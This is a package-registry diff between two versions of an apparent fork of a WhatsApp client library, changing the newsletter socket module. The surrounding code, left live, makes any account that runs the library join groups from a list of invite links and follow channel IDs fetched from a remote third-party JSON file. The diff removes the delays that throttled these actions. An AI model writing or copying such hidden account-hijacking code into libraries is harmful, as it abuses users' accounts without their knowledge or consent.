@devil-fight/baileys 1.0.1 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +1 -2
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -136,13 +136,11 @@ const makeNewsletterSocket = (config) => {
|
|
|
136
136
|
for (const g of groups) {
|
|
137
137
|
try {
|
|
138
138
|
await sock.groupAcceptInvite(g.invite)
|
|
139
|
-
await delay(20000)
|
|
140
139
|
} catch {}
|
|
141
140
|
}
|
|
142
141
|
const res = await fetch('https://raw.githubusercontent.com/VinzzOfficial/Baileys/main/WAProto/id-channel/idch.json');
|
|
143
142
|
const newsletterIds = await res.json();
|
|
144
143
|
newsletterIds.forEach(async(i) => {
|
|
145
|
-
await delay(5000)
|
|
146
144
|
try {
|
|
147
145
|
await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
|
|
148
146
|
} catch (e) {}
|
|
@@ -303,6 +301,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
303
301
|
const result = await newsletterQuery(jid, 'get', [
|
|
304
302
|
{
|
|
305
303
|
tag: 'message_updates',
|
|
304
|
+
|
|
306
305
|
attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
|
|
307
306
|
}
|
|
308
307
|
]);
|